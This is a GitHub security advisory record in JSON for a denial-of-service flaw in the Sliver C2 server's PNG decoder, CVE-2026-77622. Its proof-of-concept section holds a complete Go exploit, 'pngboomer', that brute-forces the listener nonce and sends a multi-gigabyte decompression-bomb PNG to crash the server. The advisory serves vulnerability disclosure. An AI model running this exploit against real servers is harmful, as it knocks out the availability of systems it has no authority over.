1 line
21 KiB
JSON
1 line
21 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-663m-7x7m-g4fw","published":"2026-10-15T20:09:33Z","modified":"2026-10-19T21:40:45.149589702Z","aliases":["CVE-2026-77622","GO-2026-6777"],"summary":"Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder","details":"### Summary\nSliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. \n### Details\n\nThe first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`\n```go\nconst (\n EncoderModulus = uint64(65537)\n)\n```\n\nThe second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:\n`util/encoders/images.go`\n\n```go\nfunc (p PNGEncoder) Encode(data []byte) ([]byte, error) {\n img := imageFromBytes(data)\n var buf bytes.Buffer\n encoder.Encode(&buf, img)\n return buf.Bytes(), nil\n}\n\nfunc (p PNGEncoder) Decode(data []byte) ([]byte, error) {\n buf := bytes.NewBuffer(data)\n img, err := png.Decode(buf)\n if err != nil { return nil, err }\n return bytesFromImage(img), nil\n}\n```\n\n### PoC\nThe first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.\n\nGet the latest version of Sliver (Currently 1.7.3)\n```bash\ngit clone https://github.com/BishopFox/sliver.git\n```\n\nBuild the Docker container:\n```bash\ncd sliver\ndocker build -t sliver-test:local -f Dockerfile .\n```\n\nRun the Docker container with a memory cap for example 4GB:\n```bash\ndocker run --rm \\\n--name sliver-test \\\n--memory=4g \\\n-p 8080:8080 \\\n-it \\\nsliver-test:local \n```\n\nAfter the Docker container starts, create an http listener on port 8080:\n\n```bash\nhttp -L 0.0.0.0 -l 8080\n```\n\nIn a seperate terminal create the following Go project:\n`go.mod`\n```Go\nmodule pngboomer\ngo 1.25\n```\n\n`poc.go`\n```Go\n// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.\n//\n// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run\n// it against a Docker container with --memory=<N>g and pass -target-cap-mb N\n// so the tool can refuse dangerous worker/probe combos.\n//\n// Build: go build -o pngboomer\n// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240\npackage main\n\nimport (\n \"bytes\"\n \"compress/zlib\"\n \"context\"\n \"encoding/binary\"\n \"flag\"\n \"fmt\"\n \"hash/crc32\"\n \"io\"\n \"math/rand\"\n \"net\"\n \"net/http\"\n \"net/url\"\n \"os\"\n \"sort\"\n \"sync\"\n \"sync/atomic\"\n \"time\"\n)\n\n// ANSI color — single helper, disabled by -no-color / -silent.\nvar nocolor bool\n\nfunc col(code, s string) string {\n if nocolor {\n return s\n }\n return \"\\x1b[\" + code + \"m\" + s + \"\\x1b[0m\"\n}\nfunc B(s string) string { return col(\"1\", s) }\nfunc D(s string) string { return col(\"2\", s) }\nfunc R(s string) string { return col(\"1;31\", s) }\nfunc G(s string) string { return col(\"1;32\", s) }\nfunc Y(s string) string { return col(\"1;33\", s) }\nfunc C(s string) string { return col(\"1;36\", s) }\nfunc ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }\n\n// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for\n// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).\nfunc chunk(typ string, data []byte) []byte {\n out := make([]byte, 4, 12+len(data))\n binary.BigEndian.PutUint32(out, uint32(len(data)))\n out = append(out, typ...)\n out = append(out, data...)\n crc := crc32.NewIEEE()\n crc.Write([]byte(typ))\n crc.Write(data)\n tail := make([]byte, 4)\n binary.BigEndian.PutUint32(tail, crc.Sum32())\n return append(out, tail...)\n}\nfunc makePNG(W, H, ct int) []byte {\n bpp := 3\n if ct == 6 {\n bpp = 4\n }\n var zb bytes.Buffer\n zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)\n row := make([]byte, 1+bpp*W)\n for i := 0; i < H; i++ {\n zw.Write(row)\n }\n zw.Close()\n ihdr := make([]byte, 13)\n binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))\n binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))\n ihdr[8], ihdr[9] = 8, byte(ct)\n out := []byte(\"\\x89PNG\\r\\n\\x1a\\n\")\n out = append(out, chunk(\"IHDR\", ihdr)...)\n out = append(out, chunk(\"IDAT\", zb.Bytes())...)\n return append(out, chunk(\"IEND\", nil)...)\n}\n\n// HTTP helpers\nfunc hostPort(u string) string {\n p, _ := url.Parse(u)\n if p.Port() != \"\" {\n return p.Hostname() + \":\" + p.Port()\n }\n if p.Scheme == \"https\" {\n return p.Hostname() + \":443\"\n }\n return p.Hostname() + \":80\"\n}\nfunc alive(hp string, t time.Duration) bool {\n c, err := net.DialTimeout(\"tcp\", hp, t)\n if err != nil {\n return false\n }\n c.Close()\n return true\n}\nfunc post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {\n req, _ := http.NewRequestWithContext(ctx, \"POST\",\n fmt.Sprintf(\"%s?n=%d\", base, n), bytes.NewReader(body))\n req.Header.Set(\"Content-Type\", \"application/octet-stream\")\n t := time.Now()\n resp, err := cli.Do(req)\n dt := time.Since(t)\n if err == nil {\n io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n }\n return dt\n}\n\ntype hit struct {\n n uint64\n dt time.Duration\n}\n\nfunc main() {\n target := flag.String(\"url\", \"http://127.0.0.1:8080/\", \"Sliver HTTP C2 base URL\")\n workers := flag.Int(\"workers\", 8, \"scan concurrency\")\n probeW := flag.Int(\"probe-w\", 2000, \"probe PNG width\")\n probeH := flag.Int(\"probe-h\", 2000, \"probe PNG height\")\n probeCT := flag.Int(\"probe-color\", 2, \"probe color: 2=RGB, 6=RGBA\")\n killW := flag.Int(\"kill-w\", 32767, \"kill PNG width\")\n killH := flag.Int(\"kill-h\", 32767, \"kill PNG height\")\n killCT := flag.Int(\"kill-color\", 6, \"kill color: 2=RGB, 6=RGBA\")\n thMs := flag.Int(\"threshold-ms\", 50, \"threshold floor (effective = max(this, baseline_p99 × outlier-mult))\")\n outlier := flag.Float64(\"outlier-mult\", 15.0, \"baseline_p99 × this = adaptive threshold\")\n calibN := flag.Int(\"calibrate\", 16, \"non-PNG calibration samples\")\n verifyN := flag.Int(\"verify\", 3, \"re-probe count per candidate\")\n maxN := flag.Int(\"max-nonce\", 65537, \"top nonce (Sliver modulus = 65537)\")\n pTO := flag.Duration(\"probe-timeout\", 5*time.Second, \"per-probe HTTP timeout\")\n kTO := flag.Duration(\"kill-timeout\", 180*time.Second, \"kill request HTTP timeout\")\n capMB := flag.Int(\"target-cap-mb\", 10240, \"declared target memory cap, 0 = disable check\")\n known := flag.Int(\"nonce\", 0, \"skip scan, use this nonce directly\")\n scanOnly := flag.Bool(\"scan-only\", false, \"stop after finding nonce, don't kill\")\n noConf := flag.Bool(\"no-confirm\", false, \"don't TCP-poll for death after kill\")\n noClr := flag.Bool(\"no-color\", false, \"disable ANSI color\")\n silent := flag.Bool(\"silent\", false, \"only print nonce on stdout\")\n flag.Parse()\n\n nocolor = *noClr || *silent\n pBpp, kBpp := 3, 3\n if *probeCT == 6 {\n pBpp = 4\n }\n if *killCT == 6 {\n kBpp = 4\n }\n probeMB := pBpp * *probeW * *probeH / 1024 / 1024\n killMB := kBpp * *killW * *killH / 1024 / 1024\n peakMB := *workers * probeMB\n if *capMB > 0 && peakMB > *capMB/2 {\n fmt.Fprintf(os.Stderr, \"%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\\n\",\n R(\"[X] safety:\"), peakMB, *capMB)\n os.Exit(2)\n }\n\n probe := makePNG(*probeW, *probeH, *probeCT)\n kill := makePNG(*killW, *killH, *killCT)\n hp := hostPort(*target)\n if !alive(hp, 2*time.Second) {\n fmt.Fprintf(os.Stderr, \"%s target unreachable: %s\\n\", R(\"[X]\"), hp)\n os.Exit(2)\n }\n if !*silent {\n fmt.Fprintln(os.Stderr, B(\"pngboomer — Sliver C2 PNG-bomb DoS\"))\n fmt.Fprintf(os.Stderr, \" probe %dB wire %dx%d c=%d → %d MiB decode\\n\",\n len(probe), *probeW, *probeH, *probeCT, probeMB)\n fmt.Fprintf(os.Stderr, \" kill %dB wire %dx%d c=%d → %d MiB decode\\n\",\n len(kill), *killW, *killH, *killCT, killMB)\n fmt.Fprintf(os.Stderr, \" scan peak ≈ %d MiB target cap=%d MiB reachable=%s\\n\",\n peakMB, *capMB, B(hp))\n }\n\n cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}\n pngN := uint64(*known)\n\n if pngN == 0 {\n // ─── Phase 1: calibrate non-PNG baseline ───\n dts := make([]time.Duration, *calibN)\n sem := make(chan struct{}, 8)\n var wg sync.WaitGroup\n for i := 0; i < *calibN; i++ {\n i := i\n sem <- struct{}{}\n wg.Add(1)\n go func() {\n defer wg.Done()\n defer func() { <-sem }()\n dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))\n }()\n }\n wg.Wait()\n sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })\n p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]\n eff := int64(*thMs)\n if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {\n eff = a\n }\n *thMs = int(eff)\n thresh := time.Duration(*thMs) * time.Millisecond\n if !*silent {\n fmt.Fprintf(os.Stderr, \" baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\\n\",\n ms(p50), ms(p99), B(fmt.Sprintf(\"%dms\", *thMs)), *outlier)\n }\n\n // ─── Phase 2: scan with verify + blacklist-on-blip ───\n blacklist := map[uint64]bool{}\n var maxDt int64\n var maxNonce uint64\n var totalDone uint64\n scanStart := time.Now()\n const maxBlips = 8\n\n // Shuffled nonce order, shared across re-scans. Workers pull via atomic\n // counter — no channels, no producer goroutine.\n order := make([]uint64, *maxN-1)\n for i := range order {\n order[i] = uint64(i + 1)\n }\n rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })\n\n for blip := 0; blip < maxBlips && pngN == 0; blip++ {\n scanCtx, scanCancel := context.WithCancel(context.Background())\n hits := make(chan hit, 1)\n var idx int64\n var scanned uint64\n var swg sync.WaitGroup\n for i := 0; i < *workers; i++ {\n swg.Add(1)\n go func() {\n defer swg.Done()\n for scanCtx.Err() == nil {\n i := atomic.AddInt64(&idx, 1) - 1\n if i >= int64(len(order)) {\n return\n }\n n := order[i]\n if blacklist[n] {\n continue\n }\n dt := post(scanCtx, cli, *target, probe, n)\n atomic.AddUint64(&scanned, 1)\n for { // track slowest probe (lock-free CAS)\n cur := atomic.LoadInt64(&maxDt)\n if dt.Nanoseconds() <= cur {\n break\n }\n if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {\n atomic.StoreUint64(&maxNonce, n)\n break\n }\n }\n if dt >= thresh {\n select {\n case hits <- hit{n, dt}:\n default:\n }\n scanCancel()\n return\n }\n }\n }()\n }\n\n if !*silent {\n go func() {\n t := time.NewTicker(750 * time.Millisecond)\n defer t.Stop()\n for {\n select {\n case <-scanCtx.Done():\n return\n case <-t.C:\n tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)\n el := time.Since(scanStart).Seconds()\n fmt.Fprintf(os.Stderr, D(\" scanned %d (%.0f/s, %.1fs, blips=%d)\\n\"),\n tot, float64(tot)/el, el, blip)\n }\n }\n }()\n }\n\n go func() { swg.Wait(); close(hits) }()\n cand, ok := <-hits\n scanCancel()\n atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))\n if !ok {\n break // exhausted, no candidate\n }\n\n // VERIFY: re-probe N×, count threshold hits, render tries inline\n conf := 0\n var tries bytes.Buffer\n for i := 0; i < *verifyN; i++ {\n dt := post(context.Background(), cli, *target, probe, cand.n)\n if dt >= thresh {\n conf++\n tries.WriteString(G(\"✓\"))\n } else {\n tries.WriteString(R(\"✗\"))\n }\n fmt.Fprintf(&tries, \"%.0fms \", ms(dt))\n }\n if !*silent {\n fmt.Fprintf(os.Stderr, \" candidate %s (%.0fms) verify: %s\\n\",\n B(fmt.Sprintf(\"%d\", cand.n)), ms(cand.dt), tries.String())\n }\n if conf >= (*verifyN+1)/2 {\n pngN = cand.n\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s nonce=%s in %.2fs (%d probes, %d blips)\\n\",\n G(\"[+] FOUND\"), B(fmt.Sprintf(\"%d\", pngN)),\n time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))\n }\n break\n }\n blacklist[cand.n] = true\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s nonce %d rejected (%d/%d) — blacklisted\\n\",\n Y(\"[!] blip\"), cand.n, conf, *verifyN)\n }\n }\n\n if pngN == 0 {\n mDt := time.Duration(atomic.LoadInt64(&maxDt))\n mN := atomic.LoadUint64(&maxNonce)\n fmt.Fprintf(os.Stderr, \"%s no candidate ≥ %dms after %d probes\\n\",\n R(\"[X] scan failed:\"), *thMs, atomic.LoadUint64(&totalDone))\n fmt.Fprintf(os.Stderr, \" slowest probe: nonce=%d at %.0fms\\n\", mN, ms(mDt))\n suggest := mDt.Milliseconds() * 6 / 10\n if suggest < 30 {\n suggest = 30\n }\n fmt.Fprintf(os.Stderr, \" fix: %s or grow -probe-w/-probe-h\\n\",\n C(fmt.Sprintf(\"-threshold-ms %d\", suggest)))\n os.Exit(2)\n }\n }\n\n if *scanOnly {\n fmt.Println(pngN)\n return\n }\n\n // ─── Phase 3: fire kill bomb ───\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s firing kill (%d MiB decode) at %s?n=%d\\n\",\n B(\"[*]\"), killMB, *target, pngN)\n }\n kCli := &http.Client{Timeout: *kTO}\n killStart := time.Now()\n done := make(chan struct{})\n go func() {\n dt := post(context.Background(), kCli, *target, kill, pngN)\n if !*silent {\n fmt.Fprintf(os.Stderr, \" kill returned in %.2fs\\n\", dt.Seconds())\n }\n close(done)\n }()\n\n if *noConf {\n <-done\n fmt.Println(pngN)\n return\n }\n\n deadline := time.Now().Add(*kTO)\n for time.Now().Before(deadline) {\n time.Sleep(250 * time.Millisecond)\n if !alive(hp, time.Second) {\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s killed in %.2fs (TCP refused at %s)\\n\",\n G(\"[+] ★ TARGET DEAD ★\"), time.Since(killStart).Seconds(), hp)\n }\n fmt.Println(pngN)\n return\n }\n }\n fmt.Fprintf(os.Stderr, \"%s target alive after %s — try larger -kill-w/-kill-h\\n\", Y(\"[!]\"), *kTO)\n os.Exit(1)\n}\n```\n\n### Impact\nThis vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.\n\n### Collaboration\nThis vulnerability was found with the help of Wencheng Xue (panwnvda).","affected":[{"package":{"name":"github.com/BishopFox/sliver","ecosystem":"Go","purl":"pkg:golang/github.com/BishopFox/sliver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-663m-7x7m-g4fw/GHSA-663m-7x7m-g4fw.json"}}],"references":[{"type":"WEB","url":"https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw"},{"type":"WEB","url":"https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d"},{"type":"PACKAGE","url":"https://github.com/BishopFox/sliver"},{"type":"WEB","url":"https://github.com/BishopFox/sliver/releases/tag/v1.7.6"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-10-15T20:09:33Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]} |